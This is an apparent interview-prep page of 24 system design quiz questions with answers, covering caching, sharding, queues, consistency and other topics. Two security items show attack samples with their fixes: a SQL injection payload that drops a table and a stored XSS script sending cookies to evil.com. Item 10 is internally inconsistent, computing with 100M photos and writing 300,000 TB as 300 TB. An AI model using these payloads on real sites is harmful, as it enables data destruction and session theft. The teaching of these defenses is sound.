codejump

Interview questionsSystem Design

System Design interview questions and answers

27 System Design questions picked from Codejump's quizzes, from the basics a junior is expected to know to the details that trip up senior candidates. Each one comes with its answer and an explanation — try to answer before you open it.

Junior level System Design questions

  1. 1.What does DNS (Domain Name System) do?

    javascript
    User types: www.codejump.io
         ↓
    DNS Resolver asks: "What IP is codejump.io?"
         ↓
    DNS returns: 76.76.21.21
         ↓
    Browser connects to: 76.76.21.21
    • A.It encrypts traffic between client and server.
    • B.It routes packets between routers on the internet.
    • C.It compresses HTTP responses for faster delivery.
    • D.It translates human-readable domain names (like google.com) into IP addresses.
    Show answer

    Answer: D. It translates human-readable domain names (like google.com) into IP addresses.

    DNS is the phone book of the internet. Computers communicate via IP addresses, but humans use domain names. DNS resolution steps: 1. Browser cache → OS cache 2. Recursive resolver (your ISP) 3. Root nameserver 4. TLD nameserver (.io) 5. Authoritative nameserver (codejump's DNS records) Common record types:
    • A record: domain → IPv4
    • CNAME: alias → another domain
    • MX: mail server
    • TXT: verification, SPF, DKIM ---

    From the quiz Fundamentals & Scalability

  2. 2.What is the primary purpose of a load balancer?

    javascript
    ┌─── Server 1
    Client ──▶ Load     │
               Balancer ├─── Server 2
                        │
                        └─── Server 3
    • A.To encrypt traffic between clients and servers.
    • B.To compress static assets like images and JavaScript files.
    • C.To cache database query results in memory.
    • D.To distribute incoming requests across multiple servers to prevent any single server from being overwhelmed.
    Show answer

    Answer: D. To distribute incoming requests across multiple servers to prevent any single server from being overwhelmed.

    A load balancer sits between clients and a pool of servers, distributing traffic evenly: Benefits:
    • Scalability: Add more servers horizontally
    • Availability: If Server 1 goes down, traffic shifts to Server 2 and 3
    • Performance: No single server becomes a bottleneck Common algorithms:
    • Round Robin: Server 1, 2, 3, 1, 2, 3...
    • Least Connections: sends to the server with fewest active connections
    • IP Hash: same client always hits the same server (useful for sessions) Examples: Nginx, HAProxy, AWS ALB, Cloudflare ---

    From the quiz Fundamentals & Scalability

  3. 3.What problem does caching primarily solve?

    javascript
    Without cache:
    Request → API → Database (50ms) → Response
    
    With cache:
    Request → API → Cache HIT (1ms) → Response
                    Cache MISS → Database (50ms) → Store in cache → Response
    • A.It reduces latency and database load by storing frequently accessed data in fast storage.
    • B.It prevents unauthorized access to sensitive data.
    • C.It synchronizes data across multiple data centers.
    • D.It validates user inputs before they reach the database.
    Show answer

    Answer: A. It reduces latency and database load by storing frequently accessed data in fast storage.

    Caching stores the result of expensive operations so subsequent requests return instantly from memory: Cache hierarchy (fastest to slowest): 1. CPU L1/L2 cache (nanoseconds) 2. In-process memory (microseconds) 3. Redis / Memcached (< 1ms) 4. CDN edge cache (< 10ms) 5. Database (10–100ms) Key metrics:
    • Hit rate: % of requests served from cache (aim for > 80%)
    • TTL (Time To Live): how long before cached data expires Real usage: Cache GET /challenges for 10 minutes → 10× fewer DB queries at peak traffic. ---

    From the quiz Fundamentals & Scalability

  4. 4.When should you prefer a relational (SQL) database over a NoSQL database?

    • A.When your data has complex relationships and you need strong consistency with ACID transactions.
    • B.When you need to store large binary files like images or videos.
    • C.When you have unstructured data with no defined schema.
    • D.When you need to scale to billions of records horizontally with minimal setup.
    Show answer

    Answer: A. When your data has complex relationships and you need strong consistency with ACID transactions.

    | | SQL (Relational) | NoSQL | |---|---|---| | Schema | Fixed, enforced | Flexible, schema-less | | Consistency | Strong (ACID) | Often eventual | | Relationships | JOINs, foreign keys | Denormalized | | Scaling | Vertical (mostly) | Horizontal | | Examples | PostgreSQL, MySQL | MongoDB, DynamoDB, Redis | Choose SQL when:
    • Transactions matter (banking, billing, inventory)
    • Data has clear relationships (users → orders → products)
    • You need complex queries with JOINs Choose NoSQL when:
    • Flexible/variable schema (CMS, user profiles)
    • Massive write throughput (logs, IoT events)
    • Simple key-value or document lookups Codejump uses: PostgreSQL (Prisma) — structured data with clear relationships. ---

    From the quiz Fundamentals & Scalability

  5. 5.What is the key difference between HTTP and HTTPS?

    javascript
    HTTP:  Client ──plaintext──▶ Server   (anyone can read)
    HTTPS: Client ──encrypted──▶ Server   (only client & server can read)
    • A.HTTPS is faster than HTTP because it uses a binary protocol.
    • B.HTTPS compresses responses automatically; HTTP does not.
    • C.HTTPS encrypts traffic using TLS, preventing eavesdropping and tampering.
    • D.HTTP supports WebSockets; HTTPS does not.
    Show answer

    Answer: C. HTTPS encrypts traffic using TLS, preventing eavesdropping and tampering.

    HTTPS = HTTP + TLS (Transport Layer Security) TLS provides:
    • Encryption: data cannot be read in transit
    • Authentication: certificate proves the server is who it claims to be
    • Integrity: data cannot be tampered with without detection TLS handshake (simplified): 1. Client says Hello, lists supported cipher suites 2. Server sends its certificate 3. Client verifies certificate (trusted CA) 4. Both derive a shared session key 5. Encrypted communication begins Modern reality: HTTPS is mandatory. Browsers mark HTTP sites as Not Secure. APIs must use HTTPS or tokens are exposed. ---

    From the quiz Fundamentals & Scalability

  6. 6.What is the difference between horizontal and vertical scaling?

    javascript
    Vertical scaling (Scale Up):
      Server: 4 CPU, 16 GB RAM
           ↓
      Server: 32 CPU, 128 GB RAM
      (same machine, more powerful)
    
    Horizontal scaling (Scale Out):
      1 server
           ↓
      3 servers behind a load balancer
      (more machines, same spec)
    • A.Horizontal scaling upgrades CPU/RAM on existing servers; vertical scaling adds more servers.
    • B.Horizontal scaling adds more servers; vertical scaling upgrades hardware on existing servers.
    • C.Horizontal scaling applies to databases only; vertical scaling applies to application servers.
    • D.They are the same concept with different names depending on the cloud provider.
    Show answer

    Answer: B. Horizontal scaling adds more servers; vertical scaling upgrades hardware on existing servers.

    Comparison: | | Vertical | Horizontal | |---|---|---| | Cost | Exponential after a point | Linear | | Limit | Physical hardware limit | Nearly unlimited | | Downtime | Usually requires restart | Zero downtime (rolling deploy) | | Complexity | Simple | Requires load balancer, session management | Real-world: Most cloud architectures favor horizontal scaling for stateless services (APIs) and vertical scaling for databases (up to a point, then read replicas). ---

    From the quiz Fundamentals & Scalability

  7. 7.What does REST stand for and what does it define?

    javascript
    GET    /challenges         → list challenges
    GET    /challenges/:id     → get one challenge
    POST   /challenges         → create a challenge
    PATCH  /challenges/:id     → update a challenge
    DELETE /challenges/:id     → delete a challenge
    • A.Real-time Event Streaming Technology — a protocol for WebSocket connections.
    • B.Remote Execution Service Technology — a way to run code on a remote server.
    • C.Representational State Transfer — an architectural style for distributed systems using standard HTTP methods.
    • D.Reactive Event-driven State Tree — a pattern for frontend state management.
    Show answer

    Answer: C. Representational State Transfer — an architectural style for distributed systems using standard HTTP methods.

    REST (Representational State Transfer) is an architectural style, not a protocol. It defines constraints for how web services should behave. REST constraints:
    • Stateless: each request contains all information needed; no server-side session
    • Uniform interface: standard HTTP methods
    • Client-server: separation of concerns
    • Cacheable: responses should declare if they're cacheable HTTP methods in REST: Status codes:
    • 200 OK, 201 Created, 204 No Content
    • 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found
    • 500 Internal Server Error Alternatives: GraphQL (flexible queries), gRPC (binary, high performance), tRPC (type-safe, TypeScript).

    From the quiz Fundamentals & Scalability

Mid level System Design questions

  1. 8.What is the primary tradeoff when choosing a short TTL (Time to Live) for cached data?

    javascript
    TTL = 1 second  → near real-time data, but 1 DB query per second per key
    TTL = 10 min    → 10 min of potential staleness, but few DB queries
    TTL = 24 hours  → max cache efficiency, data may be a day old
    • A.Short TTL increases memory usage because more entries are stored simultaneously.
    • B.Short TTL reduces cache hit rate and increases database load, but data stays more up-to-date.
    • C.Short TTL prevents cache stampedes by ensuring entries are never invalidated simultaneously.
    • D.Short TTL improves consistency at no performance cost.
    Show answer

    Answer: B. Short TTL reduces cache hit rate and increases database load, but data stays more up-to-date.

    TTL controls how long a cached value is considered valid: The tradeoff triangle: Choosing TTL:
    • User profile data: 5–15 min (changes infrequently)
    • Challenge list: 10 min (changes on seed runs only)
    • Active user count: 30 sec (near-real-time value)
    • Auth token validation: 0 (never cache security decisions) Cache stampede risk: When a popular key's TTL expires, many requests simultaneously miss the cache and hammer the DB. Solutions: probabilistic early refresh, locking (mutex on cache miss), or stale-while-revalidate. ---

    From the quiz Caching Strategies

  2. 9.What is horizontal sharding (partitioning) and how does it differ from vertical scaling?

    javascript
    Vertical scaling:
      Server: 8 cores, 64 GB RAM → 64 cores, 512 GB RAM
      (Expensive, has physical limits)
    
    Horizontal sharding:
      users table (100M rows) → Shard by user_id
      Shard 0: user_id 0..24M  → DB Server A
      Shard 1: user_id 25M..49M → DB Server B
      Shard 2: user_id 50M..74M → DB Server C
      Shard 3: user_id 75M..99M → DB Server D
    • A.Horizontal sharding distributes rows of a table across multiple database instances based on a shard key, so each instance holds a subset of the data.
    • B.Horizontal sharding means upgrading the hardware (CPU/RAM) of the database server.
    • C.Horizontal sharding stores different columns of the same table on different servers.
    • D.Horizontal sharding is only applicable to NoSQL databases; SQL databases cannot be sharded.
    Show answer

    Answer: A. Horizontal sharding distributes rows of a table across multiple database instances based on a shard key, so each instance holds a subset of the data.

    Benefits:
    • No single DB holds all data → each shard handles ~1/N of the total load
    • Can add shards as data grows (with rebalancing)
    • Each shard can also have replicas Challenges:
    • Cross-shard queries (e.g., top users by score globally) require scatter-gather across all shards
    • Shard rebalancing when adding a new shard
    • Schema changes must be applied to all shards
    • Hot shards: if shard key distributes traffic unevenly SQL databases that support sharding: PostgreSQL with Citus extension, MySQL with Vitess (used by YouTube), CockroachDB (automatic sharding). ---

    From the quiz Database Scaling

  3. 10.Instagram has 1 billion photos uploaded per day. The average photo is 3 MB. The platform keeps photos for 5 years. Estimate total storage needed.

    javascript
    Assumption: 100M photo uploads/day (Instagram's actual scale)
    
    Daily storage:
      100M photos/day × 3 MB/photo
      = 300,000 TB/day
      = 300 TB/day
    
    5-year storage:
      300 TB/day × 365 days × 5 years
      = 300 × 1,825
      = 547,500 TB
      ≈ 547 PB ≈ 550 PB
    • A.~5 PB
    • B.~55 PB
    • C.~550 PB (approximately half an exabyte)
    • D.~5,500 PB (5.5 exabytes)
    Show answer

    Answer: C. ~550 PB (approximately half an exabyte)

    Storage planning considerations:
    • Redundancy: Object storage replicates 3× → multiply by 3
    • Thumbnails: Each photo generates multiple sizes (+50% overhead)
    • CDN edge cache: Hot photos cached regionally (not on origin)
    • Tiered storage: Photos > 90 days old → glacier/cold storage (10× cheaper) Real-world note: Instagram uses Facebook's Haystack system and Everstore, which deduplicate identical photos (significant savings — people re-upload memes constantly). ---

    From the quiz Back-of-Envelope Estimation

  4. 11.What problem does a message queue solve in distributed systems?

    javascript
    Without queue (tight coupling):
    User submits code → API calls Judge0 → waits 3s → responds
                     ↳ If Judge0 is slow, API is slow
                     ↳ If Judge0 is down, request fails
    
    With queue (decoupled):
    User submits code → API puts job in queue → responds immediately (< 100ms)
                                    Queue → Worker picks job → calls Judge0
                                          → stores result → notifies client via WS
    • A.It synchronizes database transactions across multiple servers.
    • B.It provides a real-time pub/sub channel for frontend WebSocket connections.
    • C.It encrypts messages between microservices.
    • D.It decouples producers from consumers, enabling async processing and absorbing traffic spikes.
    Show answer

    Answer: D. It decouples producers from consumers, enabling async processing and absorbing traffic spikes.

    A message queue acts as a buffer between services that produce work and services that consume it: Benefits:
    • Decoupling: producer and consumer evolve independently
    • Buffering: absorbs traffic spikes (queue grows during peak, drains slowly)
    • Retry: failed jobs can be retried automatically
    • Fan-out: one message processed by multiple consumers Popular queues: RabbitMQ, AWS SQS, Bull/BullMQ (Redis-backed), Kafka (high-throughput streams) Real example: Codejump code submissions → BullMQ queue → Judge0 worker → result stored in DB → SSE/WebSocket notification to client. ---

    From the quiz Distributed Systems

  5. 12.A search endpoint builds a query like: SELECT * FROM products WHERE name = '${searchTerm}'. A user enters '; DROP TABLE products; --. What happens and how is this prevented?

    javascript
    The attack:
      searchTerm = "'; DROP TABLE products; --"
      
      Query becomes:
      SELECT * FROM products WHERE name = ''; DROP TABLE products; --'
      
      Executed as two statements:
      1. SELECT * FROM products WHERE name = ''   → no results (harmless)
      2. DROP TABLE products                        → DELETES ALL PRODUCTS! 💥
      -- comment ignores the trailing '
    
    The fix — parameterized queries:
      // ❌ String interpolation — NEVER do this
      const query = `SELECT * FROM products WHERE name = '${searchTerm}'`;
      
      // ✅ Parameterized query (PostgreSQL)
      const result = await client.query(
        'SELECT * FROM products WHERE name = $1',
        [searchTerm]
      );
      // The DB treats $1 as data, never as SQL code
      // Input: "'; DROP TABLE products; --"
      // DB searches for a product literally named "'; DROP TABLE products; --"
      
      // ✅ With Prisma (ORM — always parameterized by default)
      const result = await prisma.product.findMany({
        where: { name: searchTerm } // safe
      });
      
      // ❌ Prisma raw — unsafe version
      await prisma.$queryRawUnsafe(`SELECT * FROM products WHERE name = '${searchTerm}'`);
      
      // ✅ Prisma raw — safe version with tagged template
      await prisma.$queryRaw`SELECT * FROM products WHERE name = ${searchTerm}`;
    • A.The database rejects the malicious input automatically because SQL injection is not valid SQL syntax.
    • B.Wrapping the input in quotes already prevents SQL injection — the attacker's quotes are matched by the outer quotes in the template.
    • C.This is only dangerous in MySQL; PostgreSQL escapes the input automatically.
    • D.The attacker can inject arbitrary SQL — the semicolon ends the first query and the DROP TABLE executes, deleting the products table. Prevention: always use parameterized queries or prepared statements.
    Show answer

    Answer: D. The attacker can inject arbitrary SQL — the semicolon ends the first query and the DROP TABLE executes, deleting the products table. Prevention: always use parameterized queries or prepared statements.

    OWASP Top 10 #3: Injection (SQL, LDAP, OS commands, SSTI) is consistently in the top security risks. The defense is always the same: never concatenate user input into commands/queries — always separate code from data. ---

    From the quiz API Security Patterns

  6. 13.When should you choose Redis over Memcached?

    • A.When you need the absolute lowest memory footprint for pure key-value string storage.
    • B.When you need data persistence, rich data structures (sorted sets, lists), or pub-sub messaging on top of caching.
    • C.When you need horizontal sharding across hundreds of nodes out of the box.
    • D.When your cache keys exceed 250 bytes.
    Show answer

    Answer: B. When you need data persistence, rich data structures (sorted sets, lists), or pub-sub messaging on top of caching.

    | Feature | Redis | Memcached | |---------|-------|-----------| | Data structures | Strings, Lists, Sets, Sorted Sets, Hashes, Streams | Strings only | | Persistence | RDB snapshots + AOF log | None (memory only) | | Pub/Sub | ✅ Built-in | ❌ | | Clustering | Redis Cluster (built-in) | Client-side sharding | | Memory efficiency | Slightly higher overhead | Slightly leaner for pure strings | | Lua scripting | ✅ | ❌ | Choose Redis when:
    • You need leaderboards (Sorted Sets with ZADD/ZRANGE)
    • Rate limiting (atomic INCR + EXPIRE)
    • Session store with expiry
    • Job queue (Lists + BRPOPLPUSH)
    • Real-time pub/sub notifications Choose Memcached when:
    • Simple string caching at maximum throughput
    • You need multi-threaded CPU parallelism (Memcached is multi-threaded; Redis is single-threaded per shard) Codejump uses: Upstash Redis — managed Redis with HTTP API, no persistent connection needed from serverless functions. ---

    From the quiz Caching Strategies

  7. 14.Why is choosing the right shard key critical for horizontal sharding?

    javascript
    Bad shard key: country_code
      → Users in the US are 40% of all users
      → Shard for US handles 40% of all traffic
      → Massive hot shard!
    
    Good shard key: user_id (hash-based)
      → Random distribution across shards
      → Each shard handles ~equal load
    • A.The shard key determines which columns are indexed — a wrong key causes full table scans.
    • B.A poor shard key causes hot shards where one shard receives disproportionately more traffic or data than others, negating the benefits of sharding.
    • C.The shard key must be a UUID to ensure uniqueness across all shards.
    • D.The shard key controls which data is replicated to read replicas.
    Show answer

    Answer: B. A poor shard key causes hot shards where one shard receives disproportionately more traffic or data than others, negating the benefits of sharding.

    Properties of a good shard key: 1. High cardinality: Many distinct values (UUID, numeric ID — not boolean) 2. Uniform distribution: Values spread evenly (hash of ID, not timestamp with traffic spikes at midnight) 3. Query alignment: Most queries filter by the shard key (avoid scatter-gather) 4. Immutability: The shard key should never change for a row (changing it means moving data between shards) Common choices:
    • user_id — works when most queries are per-user
    • tenant_id — for multi-tenant SaaS
    • Hash of user_id — extra randomization if IDs are sequential The tradeoff: A shard key that minimizes hot shards may force cross-shard queries for analytics. Design around your most common access pattern. ---

    From the quiz Database Scaling

  8. 15.Netflix serves 200 million subscribers. On average, 5% are streaming concurrently at any moment. Each stream consumes 5 Mbps. Estimate the total outbound bandwidth needed.

    javascript
    Concurrent streamers:
      200M × 5% = 10 million concurrent streams
    
    Bandwidth:
      10,000,000 streams × 5 Mbps
      = 50,000,000 Mbps
      = 50,000 Gbps
      = 50 Tbps
    
    50 Tbps is enormous — how does Netflix handle it?
    
    Netflix's architecture:
      ~50 Tbps would overwhelm any single CDN.
      Solution: Netflix Open Connect — their own CDN.
      
      Netflix ISP partners: Netflix installs physical servers
      (Open Connect Appliances) inside ISPs.
      
      Traffic flows:
        Instead of: Netflix cloud → public internet → ISP → user
        It becomes:  Netflix OCA (inside ISP) → user
      
      ~95% of Netflix traffic is delivered from within ISPs,
      not from Netflix's own datacenters.
      Each OCA is a ~500TB disk array caching popular content.
      
      Peak internet bandwidth is roughly 500 Tbps total for all global traffic.
      Netflix at 50 Tbps = ~10% of global internet bandwidth.
    • A.5 Tbps
    • B.50 Tbps
    • C.500 Tbps
    • D.5,000 Tbps
    Show answer

    Answer: B. 50 Tbps

    Why bandwidth estimation matters: A system that needs 50 Tbps cannot rely on a single data center or even a traditional CDN — it requires co-location infrastructure inside ISPs. ---

    From the quiz Back-of-Envelope Estimation

  9. 16.What is the difference between INNER JOIN and LEFT JOIN?

    javascript
    -- Tables:
    users:    id=1 Alice, id=2 Bob
    orders:   user_id=1 (Alice's order), user_id=1 (Alice's order 2)
    -- Bob has no orders
    
    INNER JOIN (only matching rows):
    SELECT u.name, o.id
    FROM users u
    INNER JOIN orders o ON o.user_id = u.id;
    -- Result: Alice, order1 | Alice, order2
    -- Bob is excluded (no matching order)
    
    LEFT JOIN (all left rows + matches):
    SELECT u.name, o.id
    FROM users u
    LEFT JOIN orders o ON o.user_id = u.id;
    -- Result: Alice, order1 | Alice, order2 | Bob, NULL
    -- Bob is included with NULL order
    • A.INNER JOIN returns only rows with matching values in both tables; LEFT JOIN returns all rows from the left table plus matching rows from the right table.
    • B.INNER JOIN returns all rows from both tables; LEFT JOIN returns only matching rows.
    • C.LEFT JOIN is faster than INNER JOIN because it scans fewer rows.
    • D.They produce identical results when both tables have no NULL foreign keys.
    Show answer

    Answer: A. INNER JOIN returns only rows with matching values in both tables; LEFT JOIN returns all rows from the left table plus matching rows from the right table.

    When to use:
    • INNER JOIN: you only care about records with a match (user has placed an order)
    • LEFT JOIN: you want all records from the primary table, with optional relation data (all users, even those with no orders) ---

    From the quiz Distributed Systems

  10. 17.A forum allows users to post comments. A malicious user posts: <script>document.cookie='stolen='+document.cookie; fetch('https://evil.com?c='+document.cookie)</script>. The comment is stored in the database and shown to other users. What type of attack is this?

    javascript
    XSS types:
    
    Reflected XSS:
      Malicious script in URL parameter → server echoes it back in response
      User must click a crafted link for it to execute
      Example: https://site.com/search?q=<script>alert(1)</script>
    
    Stored (Persistent) XSS: ← our case
      Script stored in database → served to every visitor
      Most dangerous — no crafted link needed
      Our comment: stored once, executes for every user who loads the page
    
    DOM-based XSS:
      Client-side JavaScript reads URL/hash and inserts it into the DOM
      Never reaches the server
      Example: page.html#<img src=x onerror=alert(1)>
    
    Prevention:
      1. Output encoding (primary defense):
         React does this automatically for JSX expressions:
         <p>{comment.text}</p>  ← React HTML-encodes the text
         <script> becomes &lt;script&gt; → not executed
         
      2. Content Security Policy (CSP) header:
         Content-Security-Policy: script-src 'self'
         Blocks inline scripts even if injected
         
      3. Input sanitization for HTML fields:
         If users CAN write HTML (rich text editor), use DOMPurify:
         const clean = DOMPurify.sanitize(userHtml);
         
      4. HttpOnly cookie flag:
         Set-Cookie: session=xxx; HttpOnly
         Prevents document.cookie from reading session cookie
         (mitigates cookie theft even if XSS succeeds)
    • A.Stored (Persistent) XSS — the malicious script is saved to the database and executes in every visitor's browser, potentially stealing session cookies.
    • B.Reflected XSS — the malicious script is reflected off the server in the URL query parameter.
    • C.DOM-based XSS — the attack manipulates the DOM without any server involvement.
    • D.CSRF — the attack forces users to make unintended requests.
    Show answer

    Answer: A. Stored (Persistent) XSS — the malicious script is saved to the database and executes in every visitor's browser, potentially stealing session cookies.

    ---

    From the quiz API Security Patterns

Senior level System Design questions

  1. 18.A user requests their Twitter home timeline. Which query pattern retrieves tweets from the ~500 people they follow, sorted by time, without causing a performance disaster?

    javascript
    Why the naive query fails at scale:
      User follows 500 people, who collectively post 10,000 tweets/day
      Table size: 500M users × 500 follows = 250B rows in follows table
      tweets table: 500M DAU × 5 tweets/day = 2.5B tweets/day
      
      IN (500 follower IDs) → DB must:
      1. Execute the subquery (SELECT from 250B-row follows table)
      2. Use those IDs to filter the 2.5B-row tweets table
      3. Sort by time across results from 500 different authors
      
      Even with indexes: each user request = expensive multi-table join
      At 300M DAU requesting feeds every 5 minutes = 1M queries/second
    
    Twitter's timeline table approach:
      CREATE TABLE user_timeline (
        user_id   BIGINT,     -- the reader's ID
        tweet_id  BIGINT,     -- the tweet to show
        created_at TIMESTAMP, -- for sorting (or use tweet_id as timestamp is encoded)
        PRIMARY KEY (user_id, tweet_id)
      );
      
      Feed request: SELECT tweet_id FROM user_timeline
                    WHERE user_id = 123 ORDER BY created_at DESC LIMIT 20
      
      Single-table, indexed query on user_id → extremely fast
      Timeline rows are pre-populated by the fan-out service when tweets are created
    
    Tweet data:
      Stored separately: tweet_id → tweet content
      Timeline table only stores IDs → small rows, fast I/O
      Content fetched in bulk: SELECT * FROM tweets WHERE id IN (20 tweet_ids)
    • A.This query has N+1 potential and the IN clause with 500 IDs causes a full-table scan. Twitter maintains a pre-computed timeline table: timeline(user_id, tweet_id, created_at) populated asynchronously by a background fan-out service.
    • B.SELECT * FROM tweets WHERE author_id IN (SELECT followee_id FROM follows WHERE follower_id = user_id) ORDER BY created_at DESC LIMIT 20 — this runs efficiently on a properly indexed database.
    • C.A graph database traverses the follow graph in O(log N) and returns tweets sorted by time natively.
    • D.The query is fine because PostgreSQL's query planner optimizes IN subqueries automatically.
    Show answer

    Answer: A. This query has N+1 potential and the IN clause with 500 IDs causes a full-table scan. Twitter maintains a pre-computed timeline table: timeline(user_id, tweet_id, created_at) populated asynchronously by a background fan-out service.

    ---

    From the quiz Architecture Case Studies

  2. 19.Alice comments "great post!" on Bob's article. Bob replies "Thanks!" — but when Carol loads the page, she sees Bob's reply but not Alice's comment. Which consistency model would prevent this?

    javascript
    Causal dependency chain:
      Alice writes comment C1: "great post!"    (event A)
      Bob reads comment C1                       (sees A)
      Bob writes reply C2: "Thanks!"            (event B — causally depends on A)
    
      Carol reads and sees C2 ("Thanks!") but NOT C1 ("great post!")
      → B without A is causally inconsistent → confusing!
    
    Causal consistency guarantee:
      Operations are ordered by causality:
        writes are seen by others in the order that
        respects the "happened-before" relationship.
    
      If you see "Thanks!" (B), you must also see "great post!" (A)
      because B causally depends on A.
    
    Implementation:
      Vector clocks: each write tagged with a version vector
      e.g., C1 = {alice: 1}, C2 = {alice: 1, bob: 1}
      
      Replicas only expose C2 after they've applied C1.
    • A.Weak consistency — allows reads of any replica without ordering.
    • B.Monotonic reads — Carol's read must return at least as recent data as the previous read.
    • C.Causal consistency — if event B is causally dependent on event A, any read that sees B must also see A.
    • D.Eventual consistency — eventually Alice's comment will appear below Bob's reply.
    Show answer

    Answer: C. Causal consistency — if event B is causally dependent on event A, any read that sees B must also see A.

    Weaker than strong, stronger than eventual:
    • Strong: all clients see all writes in the same total order
    • Causal: clients see causally related writes in the right order; concurrent writes may appear in any order
    • Eventual: no ordering guarantees Used in: Facebooks TAO, Amazons DynamoDB (conditional writes), Cassandra with lightweight transactions. ---

    From the quiz Consistency Patterns

  3. 20.You're designing a social feed. A user follows 500 people. What's the trade-off between "fan-out on write" vs "fan-out on read"?

    javascript
    User A posts a tweet
      → Find all A's followers (N users)
      → Write to each follower's feed table
      
    Read feed: SELECT * FROM feeds WHERE user_id = me LIMIT 20; → instant
    Write tweet: 1 INSERT + N INSERT into feed tables → expensive for celebrities (10M followers)
    • A.Fan-out on write is always better because reads are more frequent than writes.
    • B.Both approaches produce identical performance at scale.
    • C.Fan-out on read is always better because storage is cheaper than computation.
    • D.Fan-out on write pre-computes feeds at post time (fast reads, slow writes); fan-out on read computes feeds at request time (slow reads, fast writes). Hybrid approaches are used for celebrities.
    Show answer

    Answer: D. Fan-out on write pre-computes feeds at post time (fast reads, slow writes); fan-out on read computes feeds at request time (slow reads, fast writes). Hybrid approaches are used for celebrities.

    Fan-out on Write (push model): Fan-out on Read (pull model): Hybrid approach (Twitter's actual solution):
    • Regular users (< 1M followers): fan-out on write → fast reads
    • Celebrities (> 1M followers): fan-out on read → their tweets are merged at read time
    • Cache hot feeds in Redis with TTL ---

    From the quiz Large-Scale Architecture

  4. 21.An e-commerce order requires: (1) deduct inventory, (2) charge payment, (3) create shipment. All three must succeed or all must roll back. Without a distributed transaction, how does the Saga pattern handle partial failures?

    javascript
    Saga: Order Placement
    
    Step 1: Inventory Service ── ReserveItems ──▶ SUCCESS
            publishes: ItemsReservedEvent
    
    Step 2: Payment Service ── ChargeCard ──▶ SUCCESS
            publishes: PaymentCompletedEvent
    
    Step 3: Shipping Service ── CreateShipment ──▶ FAILURE (address invalid)
            publishes: ShipmentFailedEvent
    
    Compensation (reverse order):
      Payment Service receives ShipmentFailedEvent
      → Executes: RefundPayment (compensating transaction)
      → publishes: PaymentRefundedEvent
    
      Inventory Service receives PaymentRefundedEvent
      → Executes: ReleaseItems (compensating transaction)
      → Order is fully rolled back
    • A.Saga uses two-phase commit (2PC) to lock all three services simultaneously during the operation.
    • B.Saga breaks the operation into a sequence of local transactions, each publishing an event or message. If one step fails, compensating transactions are executed in reverse to undo the completed steps.
    • C.Saga retries all three steps simultaneously until they all succeed at the same time.
    • D.Saga stores all changes in a temporary table until all three steps succeed, then commits atomically.
    Show answer

    Answer: B. Saga breaks the operation into a sequence of local transactions, each publishing an event or message. If one step fails, compensating transactions are executed in reverse to undo the completed steps.

    Choreography vs Orchestration:
    • Choreography: Each service reacts to events and publishes its own events (decentralized, no coordinator)
    • Orchestration: A central Saga Orchestrator sends commands to each service and handles compensation centrally (easier to reason about, single point of control) Tradeoff: Sagas cannot provide isolation — other transactions may see intermediate states. Must design compensating transactions to be idempotent. ---

    From the quiz Microservices Patterns

  5. 22.A live dashboard must push price updates to the browser every second. What is the most efficient mechanism?

    javascript
    Short polling (worst):
      Every 1s: Browser → GET /prices → Server responds immediately
      Overhead: 1 HTTP request + response per second per user
      At 10,000 users: 10,000 requests/second just for polling!
    
    Long polling (better):
      Browser → GET /prices → Server holds connection open
      Server responds only when price changes
      Browser immediately sends another long-poll
      Overhead: lower, but complex server-side connection management
    
    SSE (good for unidirectional push):
      Browser → GET /prices (persistent connection)
      Server sends: data: {"BTC": 65432}\n\n
      Server sends: data: {"BTC": 65501}\n\n
      Native browser support via EventSource API
      Automatic reconnect built-in
      Works over HTTP/2 (many SSE streams per connection)
    
    WebSocket (best for bidirectional):
      Client ↔ Server (full-duplex, low overhead frames)
      Use when client also sends data (chat, collaborative editing, game input)
    • A.Short polling: browser sends a GET request every second.
    • B.Server-Sent Events (SSE): server pushes updates over a single persistent HTTP connection; browser listens.
    • C.Long polling: browser sends a GET, server holds the connection open until a price update is ready, then responds.
    • D.WebSocket: full-duplex bidirectional connection over a single TCP connection.
    Show answer

    Answer: B. Server-Sent Events (SSE): server pushes updates over a single persistent HTTP connection; browser listens.

    Choose SSE when: Server pushes only; client doesn't send data back (live feeds, notifications, progress bars). Choose WebSocket when: Both sides send data (chat, live collaboration, multiplayer games). ---

    From the quiz Network Protocols

  6. 23.A service has MTBF = 720 hours and MTTR = 3 hours. What is its approximate availability?

    javascript
    MTBF (Mean Time Between Failures): average time the system runs without failing
    MTTR (Mean Time To Repair):        average time to restore after a failure
    
    Availability = MTBF / (MTBF + MTTR)
                 = 720 / (720 + 3)
                 = 720 / 723
                 ≈ 0.9958
                 ≈ 99.58%
    • A.99.99%
    • B.97.50%
    • C.99.58%
    • D.95.00%
    Show answer

    Answer: C. 99.58%

    Reducing downtime — two levers: Increase MTBF (fail less often):
    • Better testing, chaos engineering, improved resilience patterns
    • Redundant components, graceful degradation
    • Proper capacity planning (avoid overload-induced failures) Decrease MTTR (recover faster):
    • Automated alerts with runbooks
    • On-call rotation with clear escalation
    • Feature flags to quickly roll back bad changes
    • Blue/green deployments (switch back in seconds)
    • Good observability: logs, metrics, traces to diagnose fast For high availability, MTTR is often more impactful: Reducing MTTR from 3 hours to 15 minutes is often faster/cheaper than preventing failures entirely. ---

    From the quiz Reliability & Availability

  7. 24.Design a distributed web crawler to index 1 billion pages. What is the main challenge and what data structure prevents crawling the same page twice?

    javascript
    Architecture of a distributed web crawler:
    
    1. Seed URLs → Frontier Queue (Redis list or Kafka topic)
       Contains: URLs to crawl next
       Priority: high-priority domains (news sites) ahead of others
    
    2. Crawler Workers (N parallel workers):
       Loop:
         url = frontier.pop()
         if seen_filter.contains(url): skip  ← deduplication
         content = fetch_with_timeout(url, timeout=5s)
         respect_robots_txt(url, content)
         links = extract_links(content)
         store_content(url, content, timestamp)
         new_urls = filter_links(links, is_new=True)
         frontier.push(new_urls)
         seen_filter.add(url)
    
    3. Deduplication — the core challenge:
       Approach 1: Hash set in Redis
         seen = redis.sadd("crawled", url) → 1 if new, 0 if seen
         1B URLs × 100 bytes/URL = 100 GB → too large for single Redis
         
       Approach 2: Bloom filter (space-efficient, probabilistic)
         1B URLs with 1% false positive rate → ~1.2 GB (vs 100 GB hash set)
         Tradeoff: 1% of pages might be skipped due to false positives (acceptable)
         Redis module: RedisBloom
       
       Approach 3: URL fingerprinting
         Normalize URL + hash to 64-bit integer
         Distribute fingerprints across sharded hash sets
    
    4. Politeness (critical!):
       Crawlers must respect robots.txt
       Add delay between requests to same domain (1+ second)
       Respect Crawl-delay directive
